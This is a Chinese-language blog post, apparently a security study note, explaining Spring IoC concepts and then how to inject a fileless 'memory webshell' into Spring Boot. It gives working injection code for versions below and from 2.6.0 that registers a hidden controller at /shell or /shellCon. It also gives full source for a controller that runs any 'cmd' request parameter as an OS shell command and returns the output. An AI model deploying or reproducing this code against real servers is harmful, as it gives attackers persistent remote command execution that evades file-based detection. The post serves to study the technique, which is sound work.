前置知识 这里需要了解Spring IoC,Bean,ApplicationContext是什么。
基本名词概念 Spring IoC(Inversion of Control,控制反转)容器是Spring框架的核心组件之一,它负责管理应用程序中对象的创建、配置和生命周期。通过IoC容器,Spring实现了依赖注入(Dependency Injection, DI),从而降低了组件之间的耦合度,提高了代码的可维护性和可测试性。
Spring IoC 容器主要功能
对象的实例化:IoC容器会根据配置文件(如XML、Java注解或Java配置类)来创建对象实例。
对象的配置:容器不仅负责创建对象,还会根据配置为对象设置属性值或注入依赖。
对象的装配:容器会根据配置将不同的对象装配在一起,形成完整的应用上下文。
对象的生命周期管理:容器可以管理对象的生命周期,包括初始化、运行时管理和销毁。
Spring IoC 容器的实现方式 Spring提供了两种主要的IoC容器实现:
BeanFactory:这是Spring IoC容器的基础接口,提供基本的依赖注入功能。它是轻量级的,适合资源受限的环境。
ApplicationContext:这是BeanFactory的扩展,提供了更多的企业级功能,例如事件传播、国际化支持、AOP支持等。ApplicationContext是更常用的IoC容器实现。
配置方式 Spring IoC容器可以通过以下几种方式进行配置:
基于XML的配置:使用XML文件定义Bean及其依赖关系。
基于注解的配置:使用如@Component、@Service、@Autowired等注解来声明Bean和依赖注入。
基于Java配置:使用@Configuration和@Bean注解以编程方式定义Bean。
示例 以下是一个简单的基于注解的Spring IoC容器示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 @Service public class MyService { public void execute () { System.out.println("MyService is executing..." ); } } public class MainApp { public static void main (String[] args) { ApplicationContext context = new AnnotationConfigApplicationContext (MainApp.class); MyService myService = context.getBean(MyService.class); myService.execute(); } }
在这个例子中,MyService被注册为一个Bean,并通过IoC容器进行管理。主程序通过context.getBean()方法从容器中获取MyService实例。
看完之后,我的理解是:
1、Bean是Spring框架中的对象,而IoC是Bean的管理者
2、IoC主要有两种实现方式,最基础的是BeanFactory,而它的一个重要子类是ApplicationContext
3、如果我们能够获取IoC,比如ApplicationContext,那么我们就可以得到任何Bean,也就是得到某次请求中的Context中的任意对象
这里简单解释一下Context。Context是上下文的意思,而上下文可以简单理解成一个进程运行时,各个类里面的变量等一切和这个进程有关的东西。
分析 之前是分析过Interceptor内存马的,所以我这里直接给EXP。这个EXP适用于springboot<2.6.0
1 2 3 4 5 6 7 8 9 10 11 12 13 WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 );RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);Method declaredMethod = Class.forName("bad_controller.BadController" ).getDeclaredMethods()[0 ];PatternsRequestCondition url = new PatternsRequestCondition ("/shellCon" );RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition ();RequestMappingInfo info = new RequestMappingInfo (url, ms, null , null , null , null , null );r.registerMapping(info, Class.forName("bad_controller.BadController" ).newInstance(), declaredMethod); return "/shellCon has been added" ;
这里获取上下文的方法还是一样。主要看看怎么动态注册Controller。
还记得Interceptor里的那张图吗?DispatcherServlet先去跟HandlerMapping拿到对应的Controller里的方法和Interceptor,再进行后续处理。所以Controller里的方法是在HandlerMapping里被取出的,所以我们需要重点关注HandlerMapping。
概括一下,先拿到HandlerMapping,再拿到Controller,再拿到Controller里具体的方法,再拿到路由和请求方式,最后注册即可。
SpringBoot>=2.6.0的EXP:
1 2 3 4 5 6 7 8 9 10 WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 );RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);Field configField = mappingHandlerMapping.getClass().getDeclaredField("config" );configField.setAccessible(true ); RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping); Method method2 = InjectToController2.class.getMethod("test" );RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition ();RequestMappingInfo info = RequestMappingInfo.paths("/shell" ).options(config).build();InjectToController2 springControllerMemShell = new InjectToController2 ("aaa" );mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
内存马:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 package bad_controller;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;@Controller public class BadController { public void badCon (HttpServletRequest request, HttpServletResponse response) { String code = request.getParameter("cmd" ); if (code != null ){ try { java.io.PrintWriter writer = response.getWriter(); String o = "" ; ProcessBuilder p; if (System.getProperty("os.name" ).toLowerCase().contains("win" )){ p = new ProcessBuilder (new String []{"cmd.exe" , "/c" , code}); }else { p = new ProcessBuilder (new String []{"/bin/sh" , "-c" , code}); } java.util.Scanner c = new java .util.Scanner(p.start().getInputStream()).useDelimiter("\\A" ); o = c.hasNext() ? c.next(): o; c.close(); writer.write(o); writer.flush(); writer.close(); }catch (Exception e){ } } } }
总结 这里我只写了一种注册Controller的方法,获取context的过程也没细讲,可以去看参考文章里的。
参考 基于内存 Webshell 的无文件攻击技术研究-安全KER - 安全资讯平台
Spring内存马学习